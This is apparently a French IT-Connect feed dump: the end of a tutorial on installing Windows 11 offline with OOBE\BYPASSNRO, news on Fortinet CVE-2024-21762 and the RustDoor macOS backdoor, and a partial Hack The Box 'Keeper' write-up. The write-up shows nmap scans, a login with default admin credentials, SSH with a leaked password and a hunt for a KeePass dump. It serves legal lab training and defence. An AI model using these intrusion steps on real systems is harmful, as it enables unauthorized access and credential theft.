<p>Ensuite, appuyez sur les touches "<strong>MAJ + F10</strong>" (SHIFT + F10) de votre clavier pour <strong>ouvrir l'Invite de commandes</strong>.</p>



<p>Puis, saisissez la commande suivante et appuyez sur <strong>Entrée</strong>.</p>



<pre class="wp-block-code"><code>OOBE\BYPASSNRO</code></pre>



<p>Comme ceci :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="250" src="media/cbe12e5f.Installer-Windows-11-sans-reseau.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installer-Windows-11-sans-reseau.png" alt="Installer Windows 11 sans réseau" class="wp-image-75807" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installer-Windows-11-sans-reseau.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installer-Windows-11-sans-reseau-550x172.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installer-Windows-11-sans-reseau-150x47.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installer-Windows-11-sans-reseau-768x240.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installer-Windows-11-sans-reseau-50x16.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>La machine va immédiatement redémarrer.</strong> C'est normal.</p>



<blockquote class="wp-block-quote">
<p><strong>Remarque </strong>: la commande OOBE\BYPASSNRO est utilisée pour contourner l'enregistrement du réseau lors de la configuration initiale de Windows (<em>Out-of-box Experience - <a href="https://learn.microsoft.com/fr-fr/windows-hardware/customize/desktop/customize-oobe-in-windows-11" target="_blank" rel="noopener nofollow" title="">OOBE</a></em>).</p>
</blockquote>



<p>Une fois le redémarrage effectuée, poursuivez l'installation... Et vous allez, une nouvelle fois, faire face à l'étape "<em>Il est de temps de vous connecter à un réseau</em>" sauf que cette fois-ci, il y a un nouveau bouton : "<strong>Je n'ai pas Internet</strong>". Cliquez dessus.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="591" src="media/f17a6072.Windows-11-Je-nai-pas-Internet.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Je-nai-pas-Internet.jpg" alt="Windows 11 - Je n'ai pas Internet" class="wp-image-75806" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Je-nai-pas-Internet.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Je-nai-pas-Internet-550x406.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Je-nai-pas-Internet-150x111.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Je-nai-pas-Internet-768x567.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Je-nai-pas-Internet-50x37.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>À l'étape suivante, vous devrez définir un nom pour le compte utilisateur qui sera créé sur la machine Windows 11, puis son mot de passe. Il ne vous reste plus qu'à vous laisser guider : <strong>vous ne serez plus embêté jusqu'à la fin de l'installation.</strong></p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="583" src="media/9691287c.Windows-11-23H2-installation-sans-internet-comment-faire.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-23H2-installation-sans-internet-comment-faire.jpg" alt="Windows 11 23H2 installation sans internet comment faire" class="wp-image-75809" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-23H2-installation-sans-internet-comment-faire.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-23H2-installation-sans-internet-comment-faire-550x401.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-23H2-installation-sans-internet-comment-faire-150x109.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-23H2-installation-sans-internet-comment-faire-768x560.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-23H2-installation-sans-internet-comment-faire-50x36.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Voilà, grâce à cette commande très simple, mais qu'il faut connaître, vous pouvez installer Windows 11 sans avoir besoin d'une connexion à Internet.</p>



<h2 class="wp-block-heading">III. Conclusion</h2>



<p>C'est dommage de devoir en arriver à exécuter une commande lors de l'installation de Windows 11 pour parvenir à se passer d'Internet. La solution présentée dans cet article en est une parmi d'autres,... Je trouve celle-ci relativement simple à appliquer si l'on suit rigoureusement les instructions fournies.</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-installer-windows-11-sur-un-pc-non-compatible/" target="_blank" rel="noopener" title="Comment installer Windows 11 sur un PC non compatible ?">Comment installer Windows 11 sur un PC non compatible ?</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/comment-installer-windows-11-sans-connexion-a-internet/">Comment installer Windows 11 sans connexion à Internet ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76076
title: D’après la CISA, la faille de sécurité critique dans le VPN SSL de Fortinet est déjà exploitée !
uri: D-après-la-CISA-la-faille-de-sécurité-critique-dans-le-VPN-SSL-d
url:
https://www.it-connect.fr/cisa-faille-de-securite-critique-cve-2024-21762-vpn-ssl-fortinet-est-deja-exploitee/

content:
<p><strong>La nouvelle est tombée le vendredi 9 février 2024 : les firewalls Fortinet sont affectés par une faille de sécurité critique présente dans la fonction VPN SSL de FortiOS. Une vulnérabilité qui serait exploitée dans le cadre d'attaques, d'après la CISA. Voici les dernières informations.</strong></p>



<p>Pour rappel, cette nouvelle faille de sécurité critique de type "<em>out-of-bounds write</em>", associée à la référence <strong>CVE-2024-21762 </strong>et à un <strong>score CVSS de 9.6 sur 10</strong>, a été identifiée sur le système FortiOS. Elle permet à un <strong>attaquant non authentifié </strong>d'<strong>exécuter du code à distance</strong> sur le firewall Fortinet, à l'aide d'une requête spécialement conçue dans ce but. </p>



<ul>
<li><a href="https://www.it-connect.fr/fortinet-cve-2024-21762-vpn-ssl-faille-de-securite-critique/" target="_blank" rel="noopener" title="Fortinet – CVE-2024-21762 : la fonction VPN SSL affectée par une nouvelle faille de sécurité critique !">Fortinet - FortiOS VPN SSL - CVE-2024-21762</a></li>
</ul>



<p>Suite à la divulgation et à la correction de cette faille de sécurité dans plusieurs versions de FortiOS, Fortinet a mis en ligne un bulletin de sécurité. D'ailleurs, dans ce <a href="https://www.fortiguard.com/psirt/FG-IR-24-015" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a>, il est précisé : "<em>Cette vulnérabilité est potentiellement exploitée dans la nature.</em>" - Ce qui laisse planer le doute : Fortinet ne semble pas certain que la vulnérabilité soit exploitée dans le cadre d'attaques.</p>



<p>Du côté de la CISA, l'agence américaine spécialisée dans la cybersécurité, c'est plus clair : <strong>la faille de sécurité CVE-2024-21762 a été ajoutée au catalogue de la CISA qui référence les vulnérabilités connues et exploitées dans le cadre d'attaques</strong>. Ceci est visible sur <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p>



<p>Aux États-Unis, le fait que cette vulnérabilité soit ajoutée à ce référentiel n'est pas anodin. En effet, ceci permet à la CISA d'<strong>ordonner aux agences fédérales américaines de protéger leurs appareils FortiOS contre cette vulnérabilité dans un délai de 7 jours</strong>, soit avant le<strong> 16 février 2024</strong> dans le cas présent. Ceci est probablement la preuve qu'il y a un risque élevé associé à cette faille de sécurité.</p>



<p>Enfin, <strong>il est important de préciser que cette vulnérabilité affecte également FortiProxy</strong>, comme le montre le tableau ci-dessous. La version disponible dans un premier temps faisait mention uniquement de FortiOS, mais FortiProxy est venu s'ajouter à son tour.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="609" src="media/7e1761bc.FortiOS-et-FortiProxy-CVE-2024-21762.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/FortiOS-et-FortiProxy-CVE-2024-21762.png" alt="FortiOS et FortiProxy - CVE-2024-21762" class="wp-image-76077" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/FortiOS-et-FortiProxy-CVE-2024-21762.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/FortiOS-et-FortiProxy-CVE-2024-21762-550x419.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/FortiOS-et-FortiProxy-CVE-2024-21762-150x114.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/FortiOS-et-FortiProxy-CVE-2024-21762-768x585.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/FortiOS-et-FortiProxy-CVE-2024-21762-50x38.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Un autre <a href="https://www.fortiguard.com/psirt/FG-IR-24-029" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a> fait référence à la <strong>CVE-2024-23113</strong> : une faille de sécurité critique permettant <strong>une exécution de code à distance</strong> et présente dans <strong>FortiOS, FortiPAM, FortiProxy et FortiSwitchManager</strong>.</p><p>The post <a href="https://www.it-connect.fr/cisa-faille-de-securite-critique-cve-2024-21762-vpn-ssl-fortinet-est-deja-exploitee/">D’après la CISA, la faille de sécurité critique dans le VPN SSL de Fortinet est déjà exploitée !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76081
title: RustDoor, c’est le nom de la nouvelle porte dérobée furtive qui cible macOS !
uri: RustDoor-c-est-le-nom-de-la-nouvelle-porte-dérobée-furtive-qui-ci
url: https://www.it-connect.fr/rustdoor-nouvelle-porte-derobee-furtive-qui-cible-macos/
content:
<p><strong>Les utilisateurs de macOS sont ciblés par un nouveau logiciel malveillant codé en Rust et qui prend la forme d'une mise à jour pour Visual Studio ! Une porte dérobée furtive est déployée sur les Mac compromis, ce qui offre aux pirates la possibilité de se connecter à distance. Faisons le point sur cette menace.</strong></p>



<p>Ce malware surnommé <strong>RustDoor </strong>par les chercheurs en sécurité de Bitdefender, serait en circulation <strong>depuis novembre 2023.</strong> Aujourd'hui encore, la campagne malveillante est toujours active et il existe plusieurs variantes de ce malware. Le fait d'utiliser le langage Rust permet au malware de <strong>fonctionner aussi bien sur les Mac basés sur une puce Intel</strong> (architecture x86_64) que sur <strong>les Mac avec une puce Apple Silicon</strong> (architecture ARM).</p>



<p>Dans les faits, <strong>RustDoor est caché dans un outil de mise à jour pour Visual Studio for Mac</strong>, l'environnement de développement de Microsoft dans sa version pour macOS. D'ailleurs, l'application <a href="https://www.it-connect.fr/fin-de-vie-visual-studio-for-mac-31-aout-2024/" target="_blank" rel="noopener" title="">Visual Studio pour Mac sera abandonnée à partir du 31 août 2024</a>. Bitdefender a repéré plusieurs noms différents utilisés pour distribuer RustDoor : zshrc2, Previewers, VisualStudioUpdater, VisualStudioUpdater_Patch, VisualStudioUpdating, visualstudioupdate et DO_NOT_RUN_ChromeUpdates.</p>



<p>D'après Bitdefender,<strong> RustDoor effectue des communications avec quatre serveurs C2 différents</strong>, notamment trois serveurs C2 qui ont déjà été utilisés dans des attaques orchestrées par un affilié du<strong> gang de ransomware ALPHV/BlackCat</strong>. Le <a href="https://www.bitdefender.com/blog/labs/new-macos-backdoor-written-in-rust-shows-possible-link-with-windows-ransomware-group/" target="_blank" rel="noopener nofollow" title="">rapport de Bitdefender</a> précise ceci : "<em>Bien que les informations actuelles sur Trojan.MAC.RustDoor ne soient pas suffisantes pour attribuer avec certitude cette campagne à un acteur malveillant spécifique, les artefacts et les IoC suggèrent une relation possible avec les opérateurs de ransomware BlackBasta et (ALPHV/BlackCat).</em>"</p>



<p><strong>RustDoor est utilisé par les cybercriminels pour contrôler le système compromis, mais également exfiltrer des données.</strong> Il supporte un ensemble de commandes, parmi lesquelles : <strong>shell </strong>pour exécuter des commandes, <strong>mkdir </strong>pour créer des dossiers, <strong>botkill </strong>et <strong>taskkill </strong>pour tuer d'autres processus, <strong>download </strong>et <strong>upload </strong>pour télécharger et charger des fichiers, etc.</p>



<p>Le malware n'hésite pas à <strong>modifier la configuration du système pour être persistant </strong>et exécuter ses tâches de façon régulière, notamment en modifiant les jobs Cron du système macOS. Par exemple, ceci lui permet de <strong>s'exécuter automatiquement au démarrage du système</strong>. Par ailleurs, il modifie le fichier "<em>~/.zshrc</em>".</p>



<p>Enfin, il est important de préciser que<strong> RustDoor a été distribué activement sans être détecté pendant au moins trois mois. </strong>Ceci signifie que des machines ont pu être infectées, sans générer la moindre alerte de sécurité sur le système. Les indicateurs de compromissions (binaires, domaines, URL de C2) sont indiqués dans le rapport de Bitdefender.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/new-rustdoor-macos-malware-impersonates-visual-studio-update/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/rustdoor-nouvelle-porte-derobee-furtive-qui-cible-macos/">RustDoor, c’est le nom de la nouvelle porte dérobée furtive qui cible macOS !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73866
title: Hack The Box – Résoudre la box Keeper : outils, méthodes et recommandations pour se protéger
uri: Hack-The-Box-Résoudre-la-box-Keeper-outils-méthodes-et-recomm
url: https://www.it-connect.fr/hack-the-box-resoudre-la-box-keeper/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, je vous propose la résolution de la machine Hack The Box Keeper, de difficulté "Facile"</strong>.</p>


<div class="wp-block-image">
<figure class="alignright size-full is-resized"><img fetchpriority="high" decoding="async" width="698" height="563" src="media/963fc669.hackthebox-writeup-keeper.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper.png" alt="" class="wp-image-73867" style="width:363px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper.png 698w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-550x444.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-150x121.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-50x40.png 50w" sizes="(max-width: 698px) 100vw, 698px" /></figure></div>


<p>Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le <strong>compte root ou administrateur.</strong></p>



<p>Ces exercices permettent de s’entraîner <strong>légalement sur des environnements technologiques divers</strong> (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (<strong>attaquants comme défenseurs</strong>) et sont très formateurs. <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p>Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant <strong>autant de conseils et ressources que possible</strong>. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.</p>



<p class="has-text-align-center"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Cette solution est publiée en accord avec <a href="https://app.hackthebox.com/rules" target="_blank" rel="noreferrer noopener">les règles d'HackThebox</a> et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".</mark></p>



<figure class="wp-block-table"><table><tbody><tr><td><strong>Technologies abordées</strong></td><td>Linux, web, CMS, Keepass</td></tr><tr><td><strong>Outils utilisés</strong></td><td>nmap, curl, bash, Python, Keepass Password Dumper</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">II. Résolution de la box Keeper</h2>



<h3 class="wp-block-heading">A. Découverte et énumération</h3>



<p>Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil <a href="https://nmap.org/" target="_blank" rel="noreferrer noopener">nmap</a> pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noreferrer noopener">T1046 - Network Service Discovery</a></p>



<pre class="wp-block-code"><code>$ nmap -F --max-retries 1 -T4 --open -sV 10.10.11.227 -oA nmap-FastVersion
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</code></pre>



<blockquote class="wp-block-quote">
<p>Vous noterez ici que j'utilise l'option <strong>-oA</strong> de l'outil <strong>nmap</strong>. Celle-ci permet d'enregistrer la sortie du scan dans trois formats de fichier : <strong>texte, XML et un format "condensé" </strong>fait pour être utilisé par <strong>grep</strong> facilement. Lors d'un audit, il est très important de garder toutes les traces générées par nos attaques ou scans. Notamment pour être sûr de ne rien manquer lors de la <strong>phase de reporting</strong>, surtout si elle s'effectue "à froid" (après l'audit, sans accès à la cible). Je vous conseille de systématiquement utiliser <strong>les options intégrées dans vos outils</strong> pour générer les traces.</p>
</blockquote>



<p>Seuls deux services sont accessibles, <strong>un service web</strong> et un <strong>service d'administration SSH</strong>. Tentons dans un premier temps de voir ce qui est présent sur le service web à l'aide de la commande "<strong>curl</strong>" : </p>



<pre class="wp-block-code"><code>$ curl http://10.10.11.227
&lt;html&gt;
  &lt;body&gt;
    &lt;a href="<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">http://tickets.keeper.htb/rt/</mark>"&gt;To raise an IT support ticket, please visit tickets.keeper.htb/rt/&lt;/a&gt;
  &lt;/body&gt;
&lt;/html&gt;</code></pre>



<p>Le <strong>virtual host</strong> par défaut du service web nous indique qu'un nom de domaine "<strong>tickets.keeper.htb</strong>" existe, il faut donc mettre à jour notre fichier "<strong>/etc/hosts</strong>" pour pouvoir le résoudre et y accéder :</p>



<pre class="wp-block-code"><code>$ echo "10.10.11.227 tickets.keeper.htb" |sudo tee -a /etc/hosts</code></pre>



<h3 class="wp-block-heading">B. Des identifiants connus de tous</h3>



<p>En arrivant sur l'application web "<strong>http://tickets.keeper.htb/rt/</strong>", on remarque qu'il s'agit d'une solution de type CMS (<em><a href="https://fr.wikipedia.org/wiki/Syst%C3%A8me_de_gestion_de_contenu" target="_blank" rel="noopener nofollow" title="Content Management System">Content Management System</a>)</em> et non d'un développement "fait main". Dans ces cas-là, il est important d'identifier rapidement quelques informations comme la <strong>version du CMS</strong> installée, l'existence de <strong>vulnérabilités connues</strong> sur cette version ou les suivantes, mais également les<strong> identifiants par défaut</strong> utilisé (s'ils existent). Ici, le CMS utilisé est <strong>Request Tracker</strong> <strong>4.4.4</strong>" :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="669" src="media/06de1d8e.hackthebox-writeup-keeper-banner-grabbing-800x669.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-banner-grabbing-800x669.png" alt="" class="wp-image-73871" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-banner-grabbing-800x669.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-banner-grabbing-550x460.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-banner-grabbing-150x126.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-banner-grabbing-768x643.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-banner-grabbing-50x42.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-banner-grabbing.png 950w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>La récupération d'information est facilitée, notamment grâce au logo du CMS qui affiche "<strong>Request Tracker</strong>", mais également via la version précise de l'instance installée, et même des informations concernant le système d'exploitation qui héberge l'application web. Pour en apprendre plus sur la récupération de ce type d'information, je vous oriente vers mon article : <a href="https://www.it-connect.fr/quest-ce-que-le-banner-grabbing/" target="_blank" rel="noopener" title="">Qu’est ce que le Banner Grabbing ?</a></p>



<blockquote class="wp-block-quote">
<p>Sur une application web et sur de nombreux équipements, une installation toute fraiche comporte <strong>un compte d'administration par défaut.</strong> Celui-ci est utilisé pour une première connexion afin de configurer la solution et créer d'autres comptes. Une mauvaise pratique courante consiste  simplement à laisser ce compte par défaut actif, en oubliant de le désactiver ou de changer son mot de passe. Il suffit alors de lire la documentation !</p>
</blockquote>



<p>Nous retrouvons ici les identifiants par défaut du compte d'administration des CMS Request Tracker via <strong>une recherche Google</strong>, dans une documentation non officielle (wiki de la distribution Gentoo) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="319" src="media/145c7841.hackthebox-writeup-keeper-default-password-800x319.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-default-password-800x319.png" alt="" class="wp-image-73869" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-default-password-800x319.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-default-password-550x219.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-default-password-150x60.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-default-password-768x306.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-default-password-50x20.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-default-password.png 1219w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Souvent, il est possible de retrouver cette information sur des sites dédiés qui référencent les identifiants par défaut (<a href="https://www.cirt.net/passwords" target="_blank" rel="noopener" title="">cirt.net</a>), dans des <em>wordlists</em> dédiées (<a href="https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv" target="_blank" rel="noopener nofollow" title="">SecLists</a>), sur des forums (comme ici sur <a href="https://stackoverflow.com/questions/68297354/what-is-the-default-password-of-argocd" target="_blank" rel="noopener nofollow" title="">Stackoverflow</a>) ou simplement dans des tutoriels que les administrateurs sont susceptibles d'avoir suivi sans réfléchir !</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1078/001/" target="_blank" rel="noopener nofollow" title="">T1078.001 - Valid Accounts: Default Accounts</a></p>



<p>Nous parvenons à accéder en tant qu'administrateur à l'application web via les identifiants par défaut : "<strong>root:password</strong>".</p>



<blockquote class="wp-block-quote">
<p>Les <strong>applications de ticketing</strong> sont généralement très intéressantes pour un attaquant. Elles contiennent un<strong> grand nombre d'informations et de détails techniques</strong>, et parfois des mots de passe que s'échangent utilisateurs et supports (création de compte, mots de passe qui ne fonctionnent pas, réinitialisation d'un mot de passe, etc.).</p>
</blockquote>



<h3 class="wp-block-heading">C. Informations sensibles exposées</h3>



<p>Étant administrateur de la solution, nous accédons à tous les tickets de la plateforme, ainsi qu'aux informations des utilisateurs. La description de l'un d'entre eux est particulièrement intéressante : </p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1552/" target="_blank" rel="noopener nofollow" title="T1552 - Unsecured Credentials">T1552 - Unsecured Credentials</a></p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="767" height="833" src="media/c17bba53.hackthebox-writeup-keeper-unsecured-credential.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-unsecured-credential.png" alt="" class="wp-image-73873" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-unsecured-credential.png 767w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-unsecured-credential-550x597.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-unsecured-credential-138x150.png 138w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-unsecured-credential-46x50.png 46w" sizes="(max-width: 767px) 100vw, 767px" /></figure></div>


<p>On note également un ticket intéressant qui mentionne un crash <strong>keepass</strong> : </p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="531" src="media/d88c2ba1.hackthebox-writeup-keeper-ticket-keepass-800x531.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-ticket-keepass-800x531.png" alt="" class="wp-image-73874" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-ticket-keepass-800x531.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-ticket-keepass-550x365.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-ticket-keepass-150x100.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-ticket-keepass-768x510.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-ticket-keepass-50x33.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-ticket-keepass.png 832w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Nous avons à présent un <strong>premier mot de passe</strong> et un nom d'utilisateur, tentons de les utiliser sur tous les services accessibles demandant une authentification :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener nofollow" title="">T1021.004 - Remote Services: SSH</a></p>



<pre class="wp-block-code"><code>$ ssh lnorgaard@10.10.11.227
Last login: Thu Aug 24 14:44:17 2023 from 10.10.14.86
lnorgaard@keeper:~$ cat user.txt
f85d&#91;REDACTED]4f3a0</code></pre>



<p>Nous avons un premier accès sur la machine ! Il faut à présent tenter d'<strong>élever nos privilèges jusqu'à obtenir un accès en tant que root</strong>, ce qui nous permettra d'être maitre de la machine. </p>



<blockquote class="wp-block-quote">
<p>Il est intéressant de noter que, <strong>dans la réalité</strong>, l'obtention des droits root sur un serveur web Linux en DMZ n'est pas <strong>systématiquement l'objectif principal de l'attaquant</strong>. Avec des droits non privilégiés, l'attaquant peut déjà installer des accès distants (<em>reverse shell</em>), des portes dérobées pour revenir sur son accès, mais aussi utiliser ce système comme un rebond vers le reste du réseau. Ici l'attaquant n'a probablement émis aucune alerte de sécurité (EDR/IDS/SIEM) puisque seul un accès SSH a été réalisé. Il serait idiot de <strong>tenter des opérations malveillantes potentiellement verbeuses </strong>pour passer root si cela n'est pas nécessaire.</p>
</blockquote>



<h3 class="wp-block-heading">D. Accès à la mémoire d'un process Keepass</h3>



<p>Bref, notre objectif ici est de compromettre totalement la machine. Commençons par quelques opérations basiques, notamment en regardant les fichiers auxquels notre utilisateur "<strong>lnorgaard</strong>" a accès. J'utilise pour commencer cela l'outil "<strong>find</strong>" avec l'option "<strong>-user</strong>" : </p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1083/" target="_blank" rel="noopener nofollow" title="">T1083 - File and Directory Discovery</a></p>



<pre class="wp-block-code"><code>lnorgaard@keeper:~$ find / <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">-user $(whoami)</mark> 2&gt;/dev/null |grep -v "/proc\|/sys"
/var/mail/lnorgaard
/run/user/1000
/run/user/1000/gnupg
/run/user/1000/gnupg/S.gpg-agent
/run/user/1000/gnupg/S.gpg-agent.ssh
/run/user/1000/gnupg/S.gpg-agent.extra
/run/user/1000/gnupg/S.gpg-agent.browser
/run/user/1000/gnupg/S.dirmngr
/home/lnorgaard
/home/lnorgaard/.bash_logout
/home/lnorgaard/.bashrc
/home/lnorgaard/RT30000
/home/lnorgaard/RT30000.zip
<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">/home/lnorgaard/RT30000/KeePassDumpFull.dmp<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">
/home/lnorgaard/RT30000/passcodes.kdbx</mark></mark>
/home/lnorgaard/.ssh
/home/lnorgaard/.ssh/known_hosts
/home/lnorgaard/.ssh/known_hosts.old
/home/lnorgaard/.cache
/home/lnorgaard/.cache/motd.legal-displayed
/home/lnorgaard/.config
/home/lnorgaard/.gnupg
/home/lnorgaard/.gnupg/pubring.kbx
/home/lnorgaard/.gnupg/trustdb.gpg
/home/lnorgaard/.profile</code></pre>



<p>Cette commande m'indique tous les fichiers et dossiers dont l'utilisateur est le propriétaire. Attention à <strong>bien noter la différence avec les fichiers accessibles en lecture par mon utilisateur, les groupes auxquels il appartient ou les fichiers "word readables".</strong> Comme mentionné dans le ticket découvert plus tôt, nous trouvons un coffre-fort Keepass et un fichier <strong>.dmp</strong>. Je décide de les exfiltrer pour analyse sur mon poste d'attaquant :</p>



